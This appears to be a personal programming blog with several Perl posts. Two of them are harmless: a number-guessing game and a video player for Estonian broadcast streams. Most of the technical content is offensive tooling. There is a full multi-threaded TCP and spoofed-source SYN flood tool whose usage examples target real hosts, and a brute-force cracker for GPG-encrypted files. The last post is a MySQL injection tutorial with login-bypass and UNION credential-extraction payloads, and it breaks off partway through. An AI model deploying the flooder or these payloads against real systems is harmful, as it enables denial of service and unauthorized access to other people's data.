Big Brother: a joint effort at finding information

Social media sites have come a long way since their start-ups in 2003/2004. They have integrated with our lives as people continually put more and more information online.

This information is of value, to companies (like Facebook), but also to regular people. It is no longer uncommon for an employer to check a job applicant’s Facebook, before deciding to hire him or her.

Some people, usually privacy advocates, argue that social media websites hold too much information on us. In their opinion, people are posting too much (publicly visible) information on their profiles.



But just how much information do social media sites really hold on us? And how much information is too much information?

Big Brother is jolttz’s and my project at finding answers to these questions. If you’re interested in privacy-issues and like Perl programming (with WWW::Mechanize), then please join us. If you’re just curious, check out the README.

If you have any comments/questions or would like to help us out, then please send one of us a message on Github or join #perlbar on irc.malvager.net. (:

Jolttz’s first Perl script: NumberGame.pl

Today I was going through my old scripts and found this number game. I’m pretty sure this was my first Perl script ever. It’s a game where computer generates a random number and then you have to guess what it is. It’s really basic and great to learn from if you have just started learning Perl. There are even some explanations in comments. Have fun killing your time! :D

Perl
#!/usr/bin/perl
# NumberGame.pl
# jolttz's first Perl script
 
use strict;
use warnings;
 
start:
print ("Choose a range of numbers you want to be asked (Example: 10): ");
chomp (my $intrand = <STDIN>); # Take the range
 
my $random = int rand($intrand); # Generate a random number in the range of input
print ("Now pick a number: ");
my $number = <STDIN>; # Take the number
 
if ($number == $random) { # If picked the same as computer
     print ("You picked the same number as computer, congratz!\n");
     sleep(2); # Wait 2 seconds
     system("clear"); # Clear screen
} else { # Else
     print ("You picked wrong number. Computer picked $random.\n");
     sleep(2);
     system("clear");
}
 
print ("Do you want to play again?(Y/n)"); # Ask to play again
chomp (my $again = <STDIN>);
 
if ($again eq "n") { # If doesn't want to play again
    exit; # Then exit
} else { # Else
    system("clear"); # Clear screen
    goto start # Return to beginning
}

Estonian Public Broadcasting videos on Linux (Eesti Rahvusringhääling)

This post is mostly for Estonians so decide yourself, if you want to read it or not.

Eesti Rahvusringhääling (ERR) – Estonian Public Broadcasting – is a publicly funded radio and television organisation created in Estonia on 1 June 2007 to take over the functions of the formerly separate Eesti Raadio (ER) (Estonian Radio) and Eesti Televisioon (ETV) (Estonian Television), under the terms of the Estonian National Broadcasting Act.

ERR uses MS Silverlight to display videos on its website, so watching the videos is quite complicated for Linux users. You would have to view the source of the page that displays the video, get the stream link, replace “http://” with “mmsh://” and then use mplayer or such to watch the video from the stream. Doing this for one time only isn’t that annoying but if you want to watch them daily, it can be really time consuming.

For that purpose, I wrote this Perl script to display 20 last headlines of the videos using Curses so you can then choose the video, you want to watch, and the script would open the stream in mplayer. With little changes you could make the script use almost any other video player (VLC, xine etc.) to display the video.

 

ERR Player

 

To run this script you need mplayer and two modules: LWP::UserAgent and Curses::UI. Arch users can simply enter “sudo pacman -S perl-libwww perl-curses-ui” to command line. There are two key bindings: “q” to quit and “r” to reload links.

 

Perl
#!/usr/bin/perl
#!/usr/bin/perl
#    err-player.pl
# Sun Apr 03 11:59:17 2010
# jolttz{ät}gmail{dot}com
# Distributed under the terms of
# the GNU General Public License
#
use LWP::UserAgent;
use Curses::UI;
use strict;
use warnings;
 
my $url = "http://uudised.err.ee/index.php?0534915";
my @values = (1 .. 20);
my @parsed_links = 0;
my @stream_links = 0;
my $listbox = 0;
my %titles = ();
my $prog = 0;
my $jr = 0;
my $link;
 
my $cui = Curses::UI->new( 
    -clear_on_exit => 1,
    -color_support => 1 
  );
 
my $win = $cui->add( 
    'window_id', 'Window', 
    -border => 1, 
  );
 
$cui->progress(
    -max => 20,
        -message => "Laen, palun oota...",
    );
 
$cui->set_binding(sub {exit(0)}, "q");
$cui->set_binding(\&load_data, "r");
 
&load_data;
 
$listbox = $win->add(
    'mylistbox', 'Listbox',
    -values    => [ @values ],
    -labels    => { %titles },
    -multi     => 1,
    -onchange  => \&open_video
  );
 
 
  $listbox->focus();
  $cui->mainloop;
 
sub open_video {
  system("mplayer ". $stream_links[$listbox->get_active_id()+1]. " >> /dev/null 2>&1 &");
}
 
sub load_data {
  @parsed_links = 0;
  @stream_links = 0;
  $listbox = 0;
  %titles = ();
  $prog = 0;
  $jr = 0;
 
  my $content = get_content($url);
  my @content_lines = split /\n/, $content;
 
  foreach my $line (@content_lines) {
      if  ($line =~ /id=(\d+)/i) {
      $link = parse($1);
      push(@parsed_links, $link);
      $cui->setprogress($prog++);
      }
  }
  $cui->reset_curses;
}
 
sub get_content {
  my $url = shift;
 
  my $ua = LWP::UserAgent->new(
    agent => "ERR Parser"
  );
 
  my $result = $ua->get($url);
  my $content = $result->content if $result->is_success;
 
  return $content;
}
 
sub parse {
  my $id = shift;
  my $url = "http://uudised.err.ee/index.php?0&popup=video&id=". $id;
  my $content = get_content($url);
 
  if ($content =~ "<title>(.*)</title>") {
    $jr++;
    $titles{ $jr } = $1;
  }
 
  if ($content =~ "filename=\".+(wms02.mmm.elion.ee/uudised/.+)\"") {
    push(@stream_links, "mmsh://$1");
    return $1;
  }
}

BSoD on a video arcade machine

It’s often heard as an argument against using GNU/Linux: “You can’t play (modern) games on it [as opposed to Windows].” But can you actually play games on Windows machines? Your initial answer might be yes, but maybe you should reconsider that?

BSoD on a video arcade machine at Helsinki Airport


The video arcade machine itself

TCP & SYN flooder (Perl)

This is my implementation of a multi-threaded TCP and SYN flooder. It’s named ‘Diluvium’ (Latin for ‘flood’).
The SYN flood function needs root privileges, since it will be spoofing your IP address. You need Perl and the following modules (check AUR if you’re on Arch):
- threads
- threads::shared
- Config
- Socket
- Data::Validate::IP
- Data::Validate::Domain
- Time::HiRes
- Getopt::Long::Descriptive
- Net::RawIP

I’m planning to add UDP flooding functionality to it some time.
Credits are at the top of the script.
The program is pretty user-friendly, for help just run the script (with -h). Besides, the code is highly commented.

Perl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
#!/usr/bin/perl -w
# TCP & SYN flooder
# By Tom
# kaabel.net/blog
# irc.malvager.com #perlbar
# TCP flooder based on Javaloic
# SYN flooder based on synSpoofFlood by Lucas Allen
 
# Modules used
use strict;
use threads;
use threads::shared;
use Config;
use Socket;
use Data::Validate::IP qw(is_ipv4 is_ipv6);
use Data::Validate::Domain 'is_domain';
use Time::HiRes 'usleep';
use Getopt::Long::Descriptive;
use Net::RawIP;
 
# Declare variables 
my $type;
my $target;
my $port;
my $thread_count;
my $threads_left :shared; # Make the variable is 'global' for all threads
my $delay;
my $threads;
my @thread_list;
my $time;
my $end_time;
my $proto;
my $sin;
my $ip;
my $error_message :shared;
$error_message = ""; # Make sure it's not undef
my $packet_count :shared;
$packet_count = 1;
local $| = 1; # Force a flush after every write or print, necessary for \r
 
# Create the usage screen and make the options easily accesible
my ($option, $usage) = describe_options(
  'diluvium.pl %o type target port',
  ['delay|d=i', ''], # Delay takes an integer, notice 'd=i'
  # I left the description (second) field empty, because I won't be using $usage, since I think it's too restrictive
  ['stop|s=i', ''],
  ['threads|t=i', ''],
  ['help|h', ''],
  ['version|V', ''],
);
 
if ($option->version) { # If ./diluvium.pl was called with --version or -V
  print "Diluvium 1.0\nTCP & SYN flooder in Perl\nAuthor: Tom\nBlog: kaabel.net\nIRC: irc.malvager.com #perlbar\nTCP flooder based on Javaloic\nSYN flooder based on synSpoofFlood by Lucas Allen\n";
  exit;
}
 
# If the argument count isn't equal to two (start counting at zero), or if -h option was invoked
if ($#ARGV != 2 or $option->help) { 
  die "diluvium.pl [-dhstV] [long options...] type target port
  Type
  S|SYN   Set the flooding type to SYN
  T|TCP   Set the flooding type to TCP
 
  General options
  -d --delay       The delay in between the individual packages in microseconds (Default: 100000 (TCP), 650 (SYN))
  -s --stop        Stop in this given amount of seconds (Default: 0, meaning go on until an error occurs ('forever'))
 
  TCP only options
  -t --threads     The amount of threads to use (Default: 50)
 
  Help options
  -h --help        Print this screen      
  -V --version     Print version and credits
 
  Examples: 
  ./diluvium.pl S 172.19.3.1 8080
  ./diluvium.pl -d 750 -s 300 SYN 172.19.3.1 443
  ./diluvium.pl T -t 9 www.google.com 80 -d 130000 
  ./diluvium.pl TCP 192.168.1.1 80 --delay 120000 --threads 11 -s 300\n";
}
 
if ($ARGV[0] =~ /S|(SYN)/ ) {
  print "[*]Flooding type set to SYN\n";
  $type = "SYN";
}
elsif ($ARGV[0] =~ /T|(TCP)/ ) {
  print "[*]Flooding type set to TCP\n";
  $type = "TCP";
}
 
# Assign the target (first argument) and verify it
$target = $ARGV[1];
unless (is_ipv4($target) or is_ipv6($target) or is_domain($target)){
  die "[!]Target should be a valid IP address or a domain name\n";
}
 
# Assign the port (second argument) and verify it
$port = $ARGV[2];
if ($port !~ /\d+/ or $port > 65534 or $port < 1) {
  die "[!]Port should be a integer in between 0 and 65535\n";
}
 
# Set the amount of threads, if type is TCP
if ($type eq "TCP") {
  if (!$Config{usethreads}) { # Check whether Perl has multithreading capabilities
    print "[!]No multithreading capabilites found! diluvium.pl won't be as effective as normal\n";
    $threads = 0; # See if (!$threads) below
  }
  else {
    if ($option->threads) { # Is the amount of threads specified?
      if ($option->threads >= 200) { # If the amount of threads is greater or equal than 200 (bandwith consuming)
        &sure_threads;
      }
      $thread_count = $option->threads; # Set the thread_count to the specified integer
      print "[*]Amount of threads set to $thread_count\n";
    }
    else {
      $thread_count = 50; # Go with the default amount of threads
        print "[*]Defaulting to 50 threads\n";
    }
    $threads = $thread_count; # Set $threads to equal the amount of threads, see while loop below
  }
  $threads_left = $thread_count; #- 1; # Useful in the fail sub
 
  # Set the delay
  if ($option->delay) { # Very similar code to the $option->threads block
    if ($option->delay > 37500) {  # Minimal Javaloic speed
      &sure_delay_slow;
    }
    elsif ($option->delay < 5660) { # Maximal Javaloic speed
      &sure_delay_fast;
    }
    $delay = $option->delay;
    print "[*]Delay set to $delay microseconds\n";
  }
  else {
    $delay = 100000;
    print "[*]Defaulting to 100000 microseconds\n"; # Standard Javaloic speed 
  }
 
  # Set the end time
  &stop;
 
  $proto = getprotobyname('tcp'); # Get the protocol number
  inet_aton($target) or die "[!]$target is not an existing domain\n"; # Convert the address into binary data
  $sin = sockaddr_in($port, inet_aton($target)); #  Create a structure and include the port and the target
 
  print "[*]TCP flooding $target on port $port...\n";
 
  if (!$threads or $thread_count == 1) { # If we're only using one thread 
    &tcp_flood; # Just call the sub and start flooding
  }
 
  while ($threads) { # While there are threads to spawn
    $thread_list[$threads] = threads->create(\&tcp_flood); # Spawn a new thread and assign a list element to it
    $thread_list[$threads]->detach; # Detach the thread, don't wait for it to finish (join)
    $threads--; 
  }
 
  $threads = 1; # Reset $threads
  while ($threads_left) { # While there are thread left (see fail sub)
    sleep 1; # Nothing to do, except wait
  }
}
 
if ($type eq "SYN") {
  die "[!]You must be root to SYN flood\n" if $> != 0;
 
  # Set the delay
  if ($option->delay) { # Very similar code to the $option->threads block
    if ($option->delay > 10000) {  # ~6 kB
      &sure_delay_slow;
    }
    elsif ($option->delay < 500) { # ~90 kB
      &sure_delay_fast;
    }
    $delay = $option->delay;
    print "[*]Delay set to $delay microseconds\n";
  }
  else {
    $delay = 650; # ~70 kB
    print "[*]Defaulting to 650 microseconds\n"; # Standard Javaloic speed 
  }
 
  # Resolve domain name to IP
  $target = inet_ntoa(inet_aton($target)); 
 
  # Set the end time
  &stop;
 
  &syn_flood # Here we go  
}
 
 
# TCP flooding sub
sub tcp_flood {
  socket(Socket, PF_INET, SOCK_STREAM, $proto); # Create a TCP socket
  connect(Socket, $sin) or &fail; # Connect to the socket or call fail
  $end_time = (time() + 1) if $time; # Make sure the until loop condition is false if no end time was specified
  until ($end_time <= time()) {
    my $message = &random(int(rand(20))+1); # Provide a random length (> 1 ;) to the random message sub
    send(Socket, $message, 0); # Send a random message over the socket (random to prevent easy filtering)
    $packet_count ++; # Increase the packet count
    print "\r[*]Successful requests: $packet_count"; # Overwrite the last printed number by the new count
    usleep($delay); # Microsleep
    $end_time = (time() + 1) if $time; # Make sure $end_time is always ahead of time() (Bit hacky)
 
 
  }
  $threads_left --; # Thread is (almost) done
  print "\n" if !$threads_left; # Put a newline after the final packet count, see fail sub also
}
 
# SYN flooding sub
sub syn_flood {
  my $packet = Net::RawIP->new;
  $end_time = (time() + 1) if $time; # Make sure the until loop condition is false if no end time was specified
  until ($end_time <= time()) {
    $ip = &generate_ip;
    my $source_port = int(rand(65534))+1; # Pick a (port) number (integer) in between 0 and 65535
    $packet->set({ # Create a packet with a random source IP and a random port number
      ip => {saddr => $ip, daddr => $target},
                        tcp => {source => $source_port, dest => $port, syn => 1}
    });
    $packet->send; # Sent the previously crafted packet
    $packet_count ++;
    print "\r[*]Successfully sent $packet_count packets";
    usleep($delay); # Microsleep
    $end_time = (time() + 1) if $time; # Make sure $end_time is always ahead of time() (Bit hacky)
  }
  print "\n"; # Put a newline after the final packet count
}
 
sub generate_ip {
  my $first = int(rand(255))+1; # Pick an integer in between 0 and 255
  my $second = int(rand(255)); 
  my $third = int(rand(255)); 
  my $fourth = int(rand(255)); 
  return "$first\.$second\.$third\.$fourth"; # Generate a fake IP address 
}
 
# Failure TCP sub
sub fail {
  $threads_left --; # Decrease the number of threads left since the thread will exit at the end of this sub
 
  # At first, $! will contain 'No route to host' if the host is not there, but after ~10 threads this message will change to 'Connection timed out' for some reason 
  # However these are two different error messages and therefore can mean very different things. 'No route to host' basically means the host is not present, while connection time out could also mean that a firewall is blocking the port
  # To maintain this difference I'll be setting the error message 'manually' here if it contained 'No route to host' at first
  # This basically what the following four lines do
  $error_message = $! unless $error_message =~ /No route/; 
        if ($error_message =~ /No route/) {
    $error_message = "No route";
  }  
  print "[!]$error_message to $target on port $port\n" if !$threads_left; # Print the fail message if we're down to the last thread, otherwise you'd see this message $thread_count times
  threads->exit(); # Exit (the thread or the main sub; works for both :)) 
}
 
# Are you sure ... so many threads sub
sub sure_threads {
  print "[?]Are you sure you want to deploy so many threads? [y\\N]\n"; # Print the question, N is default
  my $answer = <STDIN>; # Get the answer from STDIN (user input)
  chomp $answer; 
  if ($answer !~ /\by\b/i) { # If the answer is not an y or an Y
    exit;
  }
}
 
# Are you sure ... this slow, delay sub
sub sure_delay_slow {
  print "[?]Are you sure you want to go this slow? [y\\N]\n";
  my $answer = <STDIN>;
  chomp $answer;
  if ($answer !~ /\by\b/i) {
    exit;
  }
}
 
# Similar to the sub above
sub sure_delay_fast {
  print "[?]Are you sure you want to go this fast? [y\\N]\n";
  my $answer = <STDIN>;
  if ($answer !~ /\by\b/i) {
    exit;
  }
}
 
# Stop time sub
sub stop {
  if ($option->stop) { 
    $end_time = $option->stop;
    $end_time = time() + $end_time; # Set $end_time at unix time + the amount of seconds specified
  }
  else { # If stop is zero or not specified
    $time = 1;
  }
}
 
# Generate random text sub
# I took this code straight of the web: http://th.atguy.com/mycode/generate_random_string/
sub random {
  my $length_of_randomstring=shift;# The length of the random string to generate (see sub argument)
 
  my @chars=('a'..'z','A'..'Z','0'..'9','_'); # List of characters
  my $random_string;
  foreach (1..$length_of_randomstring) 
  {
    # rand @chars will generate a random number between 0 and scalar @chars
    $random_string.=$chars[rand @chars];
  }
  return $random_string;
}

Safe Nachos – A place for hackers (Forum)

Bsdpunk has recently started a forum. It’s called Safe Nachos and it’s a selfdescribed “place for hackers”. Real hackers, people who love programming, hacks & computers, NOT people who our looking to make money off “FUD grypters” and the like.
Up to now, it’s not been very crowded, but I believe the place has potential. So join safenachos.org!

Cracking passwords of GPG-encrypted files (Perl)

This script can be used to bruteforce the passwords on encrypted files by GnuPG.
The files are encrypted by:

SHELL
gpg -c file

This script was largely based on this Python script and its author deserves by far most of the credit. Furthermore, the Perl script makes use of the GnuPG module, which can be obtained from cpan.org, or if you’re on Arch Linux by invoking: yaourt -S perl-gnupg.

I didn’t really bother extending the script with a way to handle user input or command line arguments, so you’ll have to edit the script, to make it suit your needs.

You can specify your charset by editing the contents of @range. Alphanumerical, for example would be:

Perl
@range = ('a' .. 'z', 0 .. 9);

$minlength holds the minimum length of the passwords to be cracked. You can probably figure out what $maxlength holds on your own.
Making $minlength equal $maxlength will make sure only one certain length is tested.

You must enter the file name of your encrypted file after ciphertext => and optionally a name for the output as well.

Currently, the script prints the current ‘try’ every 15 minutes, you can change that at if (($time + 900) < time()).

Perl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/perl -w
# This script was largely based on this Python script: http://www.rbgrn.net/content/25-how-to-write-brute-force-password-cracker
# Author: Tom
# Blog: kaabel.net/blog/
# IRC: irc.malvager.com #perlbar
 
use strict;
use GnuPG;
 
my $gpg = new GnuPG(); # Create GnuPG handle
my $found;
my @range = ('a' .. 'z', 'A' .. 'Z'); # Edit your charset here (alpha+caps, in this case)
my $maxlength = 5; # Max length of the password
my $minlength = 1;
my $time = time();
 
sub recurse($$$) {
  my ($width, $position, $basestring) = @_; # Get the arguments supplied in the function's arguments.
  foreach my $char (@range) {
    if ($position < $width - 1) { # If the position needs to be shifted
      &recurse ($width, $position+1, ("$basestring" . "$char")); # Guess why it's called recurse :p
      next;
    }
                # You must enter the file name of your encrypted file after ciphertext => and optionally a name for the output as well
    eval { $gpg->decrypt(ciphertext => 'file.gpg', output => 'file', passphrase => $basestring . $char, symmetric => 'true') }; # Eval is needed here, otherwise the program will end after an error.
                $found = $basestring . $char if !$@; # If there were no errors, make $found equal the password
                 if (($time + 900) < time()) { # If 900 seconds have passed (15 minutes),
      print "Trying: " . $basestring . $char . "\n"; # print the current 'try'
      $time = time(); # Reset the tiem
    }
 
    if ($found) { # If the password was found,
      print "Found: $found\n"; 
      exit;
    }
  }
}
 
foreach my $basewidth ($minlength .. $maxlength) { # Loop through the possible lengths of the password
  print "Checking paswords with length $basewidth\n";
  &recurse($basewidth, 0, ""); # Call the cracking sub
}

MySQL injection tutorial (Hacking)

SQL injection is a very common technique to hack websites. The necessary vulnerabilities exist, because input isn’t sanitized. There are many notorious examples, such as the attack on copyrightprotected.com by some Anonymous “member(s)” recently.
In this tutorial, we’ll be using Apache and MySQL. Please consider this if you want to set it up for yourself. Setting up a local website has helped me to understand MySQL injections and I strongly encourage you to try it as well.
Furthermore, I will provide practical examples and explain why they work, because I feel that’s the best way to understand this technique. This tutorial does not intend to explain every possible SQL injection, it is more of an introduction, a tutorial explaining the basics. Once you’ll understand this, you can easily look for SQL injection cheat sheets for more types of injections.

A simple login injection


We’ll start of with an injection in a login form.

Setup
The login form is located at login.html. The source code looks like this:

HTML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<title>Vulnerable MySQL Website</title>
<body>
<H1>
<center>Login</center>
</H1>
 
<form action='login.php' method='post'>
  <p><center>Username: <input type='text' name='username'/></center></p>
  <p><center>Password: <input type='text' name='password'/></center></p>
  <p><center><input type='submit'/></center></p>
</form>
</body>
</html>

As you can see, this is really simple form that takes an username and a password, these are then processed by login.php, which contains the following:

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<html>
<title>Vulnerable MySQL Website</title>
<body>
<H1>
<center>Login</center>
</H1>
 
<?php
# Get the username and password from the post variable.
$username = $_POST['username'];
$password = $_POST['password'];
 
$connect = mysql_connect('localhost', 'root', 'root') or die(mysql_error()); # Connect to the MySQL database
$database = mysql_select_db('website', $connect) or die(mysql_error()); # Select the appropriate database
$result = mysql_query("SELECT id FROM users WHERE username='$username' AND password='$password'") or die(mysql_error()); # Run the MySQL query, further explanation will follow
#echo "SELECT id FROM users WHERE username='$username' AND password='$password'"; # Echo the query (for debugging purposes)

if(!$result or !($row = mysql_fetch_row($result))) { # If the query failed or if there's no result for the query ,
  die ('<H3><center>Invalid login credentials supplied, please go back and try again</center><H3>'); # Die with an error message
}
 
echo '<H3><center>Welcome!</center></H3>'; # Otherwise, greet!
?>
 
</body>
</html>

Okay, so login.php uses MySQL. Let’s take a look at our MySQL database and tables.
I log in with: mysql -u root -p and then select the database: USE website;.
Now, DESCRIBE users; returns the following:

CODE
1
2
3
4
5
6
7
8
mysql> DESCRIBE users;
+----------+-------------+------+-----+---------+-------+
| Field    | Type        | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| id       | int(11)     | YES  |     | NULL    |       |
| username | varchar(35) | YES  |     | NULL    |       |
| password | varchar(35) | YES  |     | NULL    |       |
+----------+-------------+------+-----+---------+-------+

We can conclude that the table users contains three fields (it is more common to refer to these as columns, so I will do that from now on), id, username and password. Let’s see what the MySQL query in login.php does.

PHP
mysql_query("SELECT id FROM users WHERE username='$username' AND password='$password'");

This query selects an id from the table users. The id belongs to the username provided in combination with the password. Let’s say the table looks like this:

CODE
1
2
3
4
5
6
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | root     | root     |
|    2 | username | password |
+------+----------+----------+

Running SELECT id FROM users WHERE username=’root’ AND password=’root’ will return 1, as id.
However, running SELECT id FROM users WHERE username=’root’ and password=’I have no clue’ won’t return anything, because the username/password combination is invalid, hence there is no database entry for such a query.

Exploiting the vulnerability
The script seems to do a good job. However, what happens if we break the script?
Let’s input ‘break! as username in login.html, the query in login.php then becomes:

PHP
mysql_query("SELECT id FROM users WHERE username=''break! AND password='I have no clue'"); # I have substituted $username and $password for their contents here

The page reports: (notice or die(mysql_error())):

CODE
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'break' and password='I have no clue'' at line 1

This is because it ends up with an extra single quote. Below, it shows with colours which quotes ‘close eachother’.
When there’s no error:

SELECT id FROM users WHERE username=root AND password=I have no clue


When there is an error (a.k.a. malicious input):

SELECT id FROM users WHERE username=break! AND password=I have no clue


This causes an error, because a) a quote remains ‘unclosed’ and b) because the query has become invalid, for example, break! is not a string here, but it’s not recognized as a MySQL statement, so it fails.
This is a very common way to check for SQL vulnerabilities.

How do we exploit this vulnerability?
The script only checks for a result, not a specific result, so any result will do. A very common technique will come in handy now: OR 1=1.
1=1 is always true, therefore the entire expression will be true, no matter what happens first. Remember we only had two users in our users table? Take a look at this (SELECT * selects everything):

CODE
1
2
3
4
5
6
7
mysql> SELECT * FROM users WHERE id=3 OR 1=1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | root     | root     |
|    2 | username | password |
+------+----------+----------+

So, although there the first expression wouldn’t supply us with any result, since there is no user with the id 3, the OR 1=1 makes it return everything in the table!

Now, how to combine this with the MySQL statement?

PHP
mysql_query("SELECT id FROM users WHERE username='break!' AND password='OR 1=1'"); # Substituted $username and $password again

You might have thought this would work, but it doesn’t. Simply, because OR 1=1 isn’t recognized as a statement but as the string part of the WHERE password= clause.
So, we need some way to ‘end this string’. This is where the quote comes in!

SELECT id FROM users WHERE username=break! AND password=OR 1=1


The second yellow quote is the one we put in. Although we have successfully ‘enclosed’ the password string, we’re still left with an ‘unclosed’ quote. The right blue one (without our quote it would have matched the first yellow quote). So, what to do? There are multiple ways to tackle this problem, one way being:

SELECT id FROM users WHERE username=break! AND password=or 1=1


We changed OR 1=1 to OR ’1′=’1 and the final closing quote will be put in by the PHP script.
Another way is to use a comment, (double dashes) in MySQL.

SELECT id FROM users WHERE username=break! AND password=OR 1=1 —


Again, double dashes. Also, there is a space after the double dashes, don’t leave it out as it will not work that way. Your browser might truncate this last space, to ensure it stays there, try adding some arbitrary data after it, for example: ‘ OR 1=1 — blah

Anything entered after the double dashes, will be regarded a comment by MySQL, thus reducing the final ‘unclosed’ quote to a mere comment!
Remember, the red/double quotes are just there for PHP, they are not part of the actual MySQL statement!
(Of course, you could enter ‘OR 1=1 — in the username column, rendering the AND password= section as a comment.)

Both ways work and will reward us with a successful login!

Another, slightly more difficult example


The following situation is very common on websites vulnerable to SQL injection.

Setup
We’ve got a website that retrieves news articles using PHP’s GET. So, http://localhost/index.php?id=1 would retrieve the news article belonging to id 1. index.php looks like this:

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html>
<title>Vulnerable MySQL Website</title>
<body>
<H1>
<center>News</center>
</H1>
<?php
if(isset($_GET['id'])) { # If an id is specified
  $id = $_GET['id'];
        # Prepare the MySQL connection and stuff, see login.php
  $connect = mysql_connect('localhost', 'root', 'root') or die(mysql_error());
  $database = mysql_select_db('website', $connect) or die(mysql_error());
  $result = mysql_query("SELECT * FROM news WHERE id='$id'") or die(mysql_error());
  #echo "SELECT * FROM news WHERE id=$id <br>"; # Echo the query (for debugging purposes)
  while ($row = mysql_fetch_assoc($result)) { # While there's another row in the result, fetch it
    echo "<H3><center>" . $row['text'] . "</center><br></H3>"; # and print the row in the contents of the column named text
  }
 
  include("menu.html"); 
}
else {
  $id = 'index.php?id=1'; # If no id is specified, a.k.a. http://localhost/index.php or something similar
  header("Location: http://localhost/$id"); # Make the url: http://localhost/index.php?id=1
}
?>
</body>
</html>

menu.html contains the following:

HTML
1
2
3
4
<center><a href="index.php?id=1">First entry</a></center>
<center><a href="index.php?id=2">Second entry</a></center>
<center><a href="index.php?id=3">Third entry</a></center>
<center><a href="login.html">Login</a></center>

On to the table…

CODE
1
2
3
4
5
6
7
mysql> DESCRIBE news;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| id    | int(11)      | YES  |     | NULL    |       |
| text  | varchar(100) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+

Notice the contents of the column text are retrieved in the script above.

CODE
1
2
3
4
5
6
7
8
mysql> SELECT * FROM news;
+------+--------------------------+
| id   | text                     |
+------+--------------------------+
|    1 | A News Article           |
|    2 | Another News Article     |
|    3 | Yet Another News Article |
+------+--------------------------+

Visiting http://localhost/index.php?id=2 would show us: Another News Article on the webpage.
Visiting http://localhost/index.php?id=4 (non-existent id) shows us nothing except the links from menu.html.

Exploiting the vulnerability
Instead of make it error, let’s see what happens when we insert ‘ OR 1=1 — for the id. This makes our query:

SELECT text FROM news WHERE id=OR 1=1 —


The second yellow quote is ‘our’ quote again. Once more, double dashes followed by a space!
This prints:

A News Article

Another News Article

Yet Another News Article


So, clearly our injection is working, as it is returning everything in the text column from the news table.
We can use this vulnerability to find login credentials if there turns out to be an users table (the users table will be the same as in the first login example in our example). We’re going to use MySQL’s UNION SELECT to achieve this goal. UNION SELECT allows you to select multiple entries in one query.
A regular SELECT statement:

CODE
1
2
3
4
5
6
7
mysql> SELECT id,username FROM users;
+------+----------+
| id   | username |
+------+----------+
|    1 | root     |
|    2 | username |
+------+----------+

UNION ALL SELECT statement:

CODE
1
2
3
4
5
6
7
8
9
mysql> SELECT id,username FROM users UNION ALL SELECT id,password FROM users;
+------+----------+
| id   | username |
+------+----------+
|    1 | root     |
|    2 | username |
|    1 | root     |
|    2 | password |
+------+----------+

UNION SELECT statement (compare this with the one above):

CODE
1
2
3
4
5
6
7
8
mysql> SELECT id,username FROM users UNION SELECT id,password FROM users;
+------+----------+
| id   | username |
+------+----------+
|    1 | root     |
|    2 | username |
|    2 | password |
+------+----------+

As you can see, UNION ALL includes duplicates as well, unlike UNION.

In this example, the users table contains the login credentials. However, table names may vary and often call for the necessary guessing. Another way to find out about table names is through Information_Schema, however, we’ll not dig into these techniques, as you can look them up (injection cheat sheets, see above) and will easily understand them using your basic SQL injection knowledge.

Now, you might have noticed that in the UNION SELECT statements above, the amount of columns retrieved in the SELECT and the UNION SELECT statements are equal (2). This must always be the case.

Now, how do you find the amount of columns retrieved?
Using ORDER BY.
ORDER BY allows you to sort results alphabetically based on their first letter, for example.
Take a look at these queries to see what I mean:

CODE
1
2
3
4
5
6
7
8
mysql> SELECT text,id FROM news ORDER BY 2 DESC;
+--------------------------+------+
| text                     | id   |
+--------------------------+------+
| Yet Another News Article |    3 |
| Another News Article     |    2 |
| A News Article           |    1 |
+--------------------------+------+

We’ve ordered our results based upon the second column, id (notice ORDER BY 2) in a descending order (3 -> 1). But what would happen when we order by a non-existent column?

CODE
1
2
mysql> SELECT text,id FROM news ORDER BY 3;
ERROR 1054 (42S22): Unknown column '3' in 'order clause'

An error, this means we can find out how many columns are retrieved through a SQL injection, because it throws an error when we have exceeded the limit!
The query in the script:

PHP
1
mysql_query("SELECT * FROM news WHERE id='$id'")

Selecting everything from the table news (2 columns, as I’ve shown above, but as the attacker you wouldn’t know this of course) .
And then we get out only the contents of the text column:

PHP
1
echo "<H3><center>" . $row['text'] . "</center><br></H3>"; # Notice $row['text']

So, it may seem like the table contains one column, since only one is printed, but this is clearly not the case.

Now, let’s find the amount of columns through an injection.

SELECT text FROM news WHERE id=1ORDER BY 1 —

throws no error.

SELECT text FROM news WHERE id=1ORDER BY 2 —

doesn’t either.

SELECT text FROM news WHERE id=1ORDER BY 3 —

